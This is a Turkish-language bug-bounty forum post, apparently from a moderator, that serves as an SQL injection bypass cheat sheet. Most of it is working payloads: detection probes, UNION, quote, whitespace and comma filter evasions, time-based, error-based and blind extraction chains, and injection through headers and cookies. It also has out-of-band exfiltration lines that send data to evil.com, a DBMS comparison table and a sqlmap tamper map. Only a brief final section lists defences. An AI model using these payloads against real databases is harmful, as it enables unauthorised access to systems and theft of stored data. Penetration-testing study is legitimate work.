Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

02 — SQL Injection: Zincirleme (Recursive) Bypass & Hazır Payload'lar

0bat.exe1

Moderator
Araştırmacı
Katılım
2 Ocak 2026
Mesajlar
24
Tepkime puanı
60
Puan
13
sql.gif

Kullanım: Her blokta ENGEL → DENEME → PAYLOAD → NEREDE. Önce bağlamı tespit edin (WHERE int, WHERE string, UNION, blind boolean/time, error-based, ORDER BY, LIMIT), sonra engel zincirini yürütün. DBMS farkları tablosu bölüm 2'de.



0. Tespit (Önce Bunlar)​


TestPayloadBeklenen gösterge
String bağlam'hata/500 veya davranış değişimi
Sayısal bağlam1 vs 2-1 vs 1-0farklı sonuç
Boolean' AND '1'='1 vs ' AND '1'='2doğru/yanlış farkı
Time' AND SLEEP(5)-- - / WAITFOR DELAY '0:0:5' / pg_sleep(5)5sn gecikme
Union' UNION SELECT NULL,NULL-- -kolon sayısı sızıntısı
Error' AND extractvalue(1,concat(0x7e,(SELECT user())))-- -hata mesajında veri



1. Engel Zincirleri​


E1: UNION SELECT (veya tek tek UNION, SELECT) engellendi​


Kod:
' UNION SELECT 1,2,3-- -
→ ' UN/**/ION SEL/**/ECT 1,2,3-- -            (yorum parçalama; MySQL/Oracle) 🟢
→ ' UnIoN SeLeCt 1,2,3-- -                    (case) 🟡
→ ' UNION%0aSELECT%091,2,3-- -                (whitespace normalize fakiri) 🟡
→ ' /*!50000UNION*/ SELECT 1,2,3-- -          (MySQL version comment) 🟢
→ ' UNION VALUES ROW(1,2,3)-- -               (MySQL 8.0.19+/MariaDB) 🟡
→ ' UNION SELECT 1,2,3 FROM (SELECT 1)x-- -   (FROM varyantı; SELECT düşürme) 🟡
→ CTE: ;WITH x AS(SELECT 1,2,3) SELECT * FROM x-- -  (MSSQL) 🟡

Recursive (hem UNION hem SELECT hem case): ' /*!50000UN/**/ION*/ SEL/**/ECT 1,2,3-- - — iki bypass iç içe. 🟡

E2: Tırnak ' engellendi veya escape ediliyor (addslashes/magic_quotes)​


Kod:
' OR 1=1-- -
→ " OR 1=1-- -                               (çift tırnak; MySQL ANSI_QUOTES dışı koşullu) 🟡
→ ' OR 1=1 #                                  (yorum değişimi) 🟢
→ \' OR 1=1-- -                               (escape mantığı; koşullu) 🟡
→ ' OR 1 LIKE 1-- -                           (boole operator değişimi) 🟢
→ 1 OR 2>1-- -                                (sayısal/boole — tırnaksız) 🟡
→ char(39): '||CHAR(39)||' (Oracle), NCHAR(39) (MSSQL), 0x27 (MySQL) 🟢
→ if(addslashes): %bf%27                          (wide-byte; GBK charset — 🔴 tarihsel)

Recursive: hem escape hem quote engelli: 1 OR 1=1 tırnaksız boole; AND 'a' IN ('a') yerine AND 1 IN (1); string veri gerekiyorsa hex: AND pass=0x686173686564.

E3: = ve karşılaştırma engellendi​


Kod:
' OR 1=1--
→ ' OR 1 LIKE 1-- -                          🟢
→ ' OR 1 IN (1)-- -                          🟢
→ ' OR 1 BETWEEN 1 AND 2-- -                 🟢
→ ' OR 1<>2-- -  /  ' OR 1!=2-- -            🟡
→ ' OR id REGEXP '^1'-- -                    (MySQL) 🟡
→ ' OR (1)=(1)-- -                           🟡

E4: Boşluk engellendi​


Kod:
' OR 1=1-- -
→ '%09OR%0a1%0d=1-- -                        (tab/newline/cr) 🟡
→ ' OR/**/1=1-- -                            (yorum-whitespace) 🟢
→ '+0x20'  (MySQL: concat ile boşluk üretme) 🟡

Recursive: boşluk + yorum birlikte engelli mi? '%0aOR%0a1%0aIN%0a(1)%0a--%0a- 🟡

E5: Virgül engellendi (fonksiyonlar/UNION kolonları)​


Kod:
UNION SELECT 1,2,3
→ UNION SELECT 1 FROM dual  (tüm kolonları birleştir — koşullu) 🟡
→ FUNCTION(l1,l2) yerine: SUBSTRING(x FROM 1 FOR 1)  (Oracle FROM-FOR söz dizimi) 🟢
→ MySQL: LIMIT 1 OFFSET 1 yerine LIMIT 1,1 (virgül engeli + limit) 🟡
→ JOIN tekniği: UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b 🟡
→ MSSQL: SELECT 1 UNION SELECT 2 (virgülsüz birden çok SELECT) 🟢

E6: information_schema engellendi​


Kod:
UNION SELECT table_name FROM information_schema.tables
→ MySQL 5.7+:  FROM sys.schema_tables  🟢
→ MSSQL:       FROM sysobjects  (sysobjects.name)  🟢
→ MSSQL:       SELECT name FROM sys.tables  🟢
→ Oracle:      SELECT table_name FROM all_tables / user_tables  🟢
→ PG:          SELECT tablename FROM pg_catalog.pg_tables  🟢
→ SQLite:      SELECT sql FROM sqlite_master  🟢

E7: SLEEP( / sleep(5) engellendi (time-based)​


Kod:
' AND SLEEP(5)-- -
→ ' AND pg_sleep(5)-- -                        (PostgreSQL) 🟢
→ ' AND WAITFOR DELAY '0:0:5'-- -              (MSSQL) 🟢
→ ' AND dbms_lock.sleep(5)-- -                 (Oracle; ayrıcalık gerekebilir) 🟡
→ ' AND BENCHMARK(5000000,SHA1('x'))-- -       (MySQL) 🟢
→ ' AND IF(1=1,SLEEP(5),0)-- -                 🟢
→ ' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END)-- -  (PG, if'siz) 🟡

Recursive: SLEEP + BENCHMARK + pg_sleep hepsi engelli mi? → boolean yan kanala dön: ' AND (SELECT 1 FROM users WHERE name='a' AND ascii(substr(pass,1,1))>100 LIMIT 1)-- - ile doğru/yanlış sayfa farkı.

E8: Error-based fonksiyonlar engellendi​


Kod:
extractvalue/updatexml  →  engellendiyse:
→ MySQL 5.7-: AND GTID_SUBSET(CONCAT(0x3a,(SELECT user())),1)-- -   🟡
→ MySQL:      AND NAME_CONST((SELECT user()),1)-- -                  🟡
→ MSSQL:      AND convert(int,@@version)-- -                          🟢
→ Oracle:     AND XMLType((SELECT banner FROM v$version))-- -        🟡
→ Oracle:     AND CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version))-- - 🟡
→ PG:         AND cast(version() as int)-- -                          🟢

E9: Veri çekme engelli (UNION yok, error yok) — Blind zinciri​


Kod:
1. Boole farkı var mı?      ' AND '1'='1 vs '1'='2
2. TRUE/FALSE farklılıysa → substring+ascii binary search:
   ' AND ascii(substr((SELECT pass FROM users LIMIT 1),1,1))>99-- -
   (|if engelli|: ' AND ord(mid((SELECT pass...),1,1))>99-- - ) 🟡
3. REGEXP ile ilk karakter karşılaştırma (MySQL):
   ' AND (SELECT pass FROM users LIMIT 1) REGEXP '^a'-- -
4. Boolean farkı yoksa time-based'e geç (E7)

Recursive (tam zincir): ' AND (SELECT CASE WHEN (SELECT ascii(substr((SELECT flag FROM secrets LIMIT 1),1,1)))>64 THEN pg_sleep(3) ELSE 0 END)-- - — CASE + subquery + time üst üste; her bir katman ayrı engeli geçer.

E10: Sorgu param'sı değil de header/cookie/body'de SQLi​


Kod:
→ Cookie:  Cookie: sess=1' OR 1=1-- -        (WAF çoğu kural cookie'yi incelemez) 🟡
→ JSON body: {"id":"1' OR 1=1-- -"}          🟡
→ HPP: ?id=1&id=' OR 1=1-- -                 (WAF ilk, backend son) 🟡
→ Metod değişimi (POST→PATCH/HEAD)           🟡
→ CT değişimi (form→multipart)               🟡

Nerede: login, arama, sıralama, profil güncelleme gibi her SQL kullanan parametre.

E11: Second-order (stored) SQLi​


Kod:
1. Kayıt: kullanıcı adı = ' OR 1=1-- -
2. Başka endpoint bu değeri raw sorguya koyar → patlar.
3. WAF yazma isteğini kaçırabilir/önemsemez; okuma isteği saf görünür 🟢

E12: OOB (out-of-band) exfil — kör/engelli ortamlarda veri çıkarma​


Kod:
MSSQL: ;EXEC xp_dirtree '\\evil.com\share'-- -          (DNS/UNC isteği düşer) 🟡
MySQL: ' AND LOAD_FILE(CONCAT('\\\\',(SELECT user()),'.evil.com\\x'))-- - 🟡
PG:   ;COPY (SELECT user()) TO PROGRAM 'nslookup x.evil.com'-- - 🟡 (PG 9.3+)
Oracle: ;DECLARE req UTL_HTTP.REQUEST; ... UTL_HTTP.REQUEST('http://evil.com/?c='||(SELECT user FROM dual)); 🟡



2. DBMS Fark Tablosu (Hızlı Geçiş)​


İhtiyaçMySQLMSSQLOraclePostgreSQL
Yorum-- # /* */-- /* */-- /* */-- /* */
String concatCONCAT()+||||
SleepSLEEP(n)WAITFOR DELAY 'n'dbms_lock.sleep(n)pg_sleep(n)
Versiyon@@version@@VERSIONSELECT banner FROM v$versionversion()
Tablolarinformation_schema/syssysobjects/sys.tablesall_tablespg_catalog.pg_tables
SUBSTRINGsubstr(), mid(), left()SUBSTRING, LEFTSUBSTR(x,1,1)substr, substring
Error-basedextractvalue,updatexml,GTID_SUBSETconvert(int,...)XMLTypecast(... as int)
Multi-statementPDO emülasyonu kapalıysa✔✔ (DBMS_SQL)✔

3. sqlmap Tamper Eşlemesi (Her Engel İçin)​


Engelsqlmap --tamper
Boşlukspace2comment, space2mysqlblank, space2plus
Caserandomcase
URL-decodechardoubleencode, charencode, percentage
Tırnak escapeunmagicquotes
Yorum (UNION)versionedmorekeywords, halfversionedmorekeywords, modsecurityversioned
virgülcommalesslimit, commalessmid
Hexhex2char
Eşleşme:%bf%27 → between

4. Karşı Önlem (Özet)​


1. Parametreli sorgu / prepared statement (tek kalıcı çözüm).
2. En az ayrıcalık (DB kullanıcısı; FILE/PROGRAM/xp_dirtree kapalı; outbound DNS engeli).
3. Hata gizleme (debug off, genel hata sayfası).
4. Girdi tip doğrulama (int/UUID whitelist — SQL semantiği değil, tip düzeyinde).
5. WAF'i imza değil normalize+tokenizer ile konumlandır; WAF asla tek katman olmamalı.
 
Geri
Üst